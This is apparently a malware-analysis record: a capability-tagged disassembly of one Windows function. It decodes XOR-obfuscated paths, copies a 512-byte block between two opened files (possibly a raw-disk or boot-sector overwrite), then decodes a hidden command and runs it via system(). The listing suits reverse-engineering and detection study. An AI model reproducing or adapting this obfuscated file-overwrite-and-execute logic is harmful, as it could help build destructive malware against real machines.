Function at 0x140041f80
Capabilities:
Encode data using xor
Execute command
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
push rsi
lea rbp, [r11 - 0x5f]
sub rsp, 0xe0
mov eax, dword [0x1400de790]
xor ebx, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
mov r8d, ebx
movups xmm0, xmmword [0x1400de770]
mov dword [rbp + 1], eax
movups xmm1, xmmword [0x1400de780]
movzx eax, word [0x1400de794]
movups xmmword [rbp - 0x1f], xmm0
mov word [rbp + 5], ax
movups xmmword [rbp - 0xf], xmm1
jl 0x140042133
movdqa xmm5, xmmword [0x1400deb70]
lea rcx, [rbp - 0x1f]
movdqa xmm4, xmmword [0x1400ded80]
mov eax, 4
movaps xmmword [r11 - 0x28], xmm6
movaps xmmword [r11 - 0x38], xmm7
movdqa xmm7, xmmword [str.4444]
movaps xmmword [r11 - 0x48], xmm8
movd xmm6, eax
mov eax, Ordinal_33
movaps xmmword [r11 - 0x58], xmm9
movdqa xmm9, xmmword [str.99999999]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x140042020
movaps xmm9, xmmword [rsp + 0xa0]
movaps xmm8, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm6, xmmword [rsp + 0xd0]
cmp r8d, 0x13
jge 0x140042175
movsxd rax, r8d
lea r9, [rbp - 0x1f]
lea r9, [r9 + rax*2]
nop
mov eax, 0x4ec4ec4f
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x13
jl 0x140042140
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rcx, [rbp - 0x1f]
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140042308
mov edx, dword [0x1400de8b8]
mov eax, reloc.WLDAP32.dll_Ordinal_46
movzx ecx, word [0x1400de8bc]
xor r9d, r9d
movups xmm0, xmmword [0x1400de8a8]
mov dword [rbp - 0x49], edx
xor cx, 0x43
xor word [rbp - 0x47], 0x42
xor dx, 0x41
movups xmmword [rbp - 0x59], xmm0
xor word [rbp - 0x57], 0x3a
xor r8d, r8d
xor word [rbp - 0x55], 0x3b
xor word [rbp - 0x53], 0x3c
xor word [rbp - 0x51], 0x3d
xor word [rbp - 0x4f], 0x3e
xor word [rbp - 0x4d], 0x3f
xor word [rbp - 0x4b], 0x40
mov word [rbp - 0x49], dx
mov edx, 0x80000000
mov word [rbp - 0x45], cx
lea rcx, [rbp - 0x59]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x108], rdi
mov word [rbp - 0x59], ax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140042300
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x200
jne 0x140042300
mov ecx, eax
mov qword [rsp + 0x110], r14
call fcn.1400bd9fc
lea r9, [rbp + 0x67]
mov qword [rsp + 0x20], rbx
mov r8d, 0x200
mov rdx, rax
mov rcx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400422a2
lea r9, [rbp + 0x67]
mov qword [rsp + 0x20], rbx
mov r8d, 0x200
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
movdqa xmm0, xmmword [0x1400dec30]
movdqa xmm1, xmmword [str.BDPZEC]
mov r14, qword [rsp + 0x110]
movdqu xmmword [rbp - 0x43], xmm0
mov dword [rbp - 0x23], 0x1000e0d
movdqu xmmword [rbp - 0x33], xmm1
nop dword [rax + rax]
lea eax, [rbx + 0x21]
xor byte [rbp + rbx - 0x43], al
inc rbx
cmp rbx, 0x22
jb 0x1400422d0
lea rcx, [rbp - 0x43]
mov byte [rbp - 0x20], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x108]
add rsp, 0xe0
pop rsi
pop rbx
pop rbp
ret